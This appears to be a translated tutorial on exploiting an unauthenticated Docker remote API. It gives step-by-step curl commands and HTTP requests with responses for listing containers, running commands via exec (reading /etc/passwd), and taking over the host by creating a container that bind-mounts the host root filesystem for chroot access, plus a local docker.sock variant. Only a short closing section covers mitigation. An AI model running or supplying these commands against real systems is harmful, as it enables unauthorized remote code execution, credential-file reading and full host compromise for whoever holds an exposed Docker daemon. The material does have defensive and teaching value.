RCE get on the container
1) List all containers
The first step is to get a list of all containers on the host. To do this, you need to perform the following http request:
GET /containers/json HTTP/1.1
Host: <docker_host>:PORT
Curl command:
curl -i -s -X GET http://<docker_host>:PORT/containers/json
response:
HTTP/1.1 200 OK
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux Server: Docker/18.09.4 (linux) Date: Thu, 04 Apr 2019 05:56:03 GMT Content-Length: 1780 [ { "Id":"a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf", "Names":["/another_container"], "Image":"ubuntu:latest", "ImageID":"sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499", "Command":"bash", "Created":1554357359, "Ports":[], "Labels":{}, "State":"running", "Status":"Up 3 seconds", "HostConfig":{"NetworkMode":"default"}, "NetworkSettings":{"Networks": ...
Note that the response of the "Id" field, because the next command will use it.
2) Create an exec
Next, we need to create an instance of "exec" will be executed on a container. You can enter commands to run here.
Request following items need to make changes in the request:
Container ID Docker Host Port Cmd (in the example I cat / etc / passwd)
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188 { "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["cat", "/etc/passwd"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true }
Curl command:
curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://<docker_host>:PORT/containers/<container_id>/exec
response:
HTTP/1.1 201 Created
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux Server: Docker/18.09.4 (linux) Date: Fri, 05 Apr 2019 00:51:31 GMT Content-Length: 74 {"Id":"8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}
Note that the response of the "Id" field, because the next command will use it.
3) Start exec
Now create the "exec", we need to run it.
You need to change the request of the following items:
Exec ID Docker Host Port
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
{ "Detach": false, "Tty": false }
Curl command:
curl -i -s -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://<docker_host>:PORT/exec/<exec_id>/start
response:
HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream
Api-Version: 1.39
Docker-Experimental: false
Ostype: linux Server: Docker/18.09.4 (linux) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
To take over the host
Docker start a container, on a host root of the volume of the container is mounted so that it can execute commands to the host file system. Since the vulnerability discussed in this article allows you complete control API, so you can control the docker host.
Note: Do not forget to change dockerhost, port and containerID
1) Download ubuntu Mirror
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest
2) use of mounted volumes create container
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
--data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' \
http://<docker_host>:PORT/containers/create
3) Start container
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/containers/<container_ID>/start
At this point, you can use code execution vulnerability command to run a new container. If you want to run the Host OS command Do not forget to add chroot / hostos.
How to fix?
Avoid remote or at the container level exposure docker.sock file (if possible)
If you need to provide remote socket file, perform the operation here
Set the appropriate security groups and firewall rules to prevent unauthorized access to IP
appendix
Local commands
Here is a list of commands CURL, if the API can not be used remotely, but can be used locally, you can run these commands.
1) List all containers
sudo curl -i -s --unix-socket /var/run/docker.sock -X GET \
http://localhost/containers/json
2) Create an exec
sudo curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://localhost/containers/<container_id>/exec
3) Start exec
sudo curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://localhost/exec/<exec_id>/start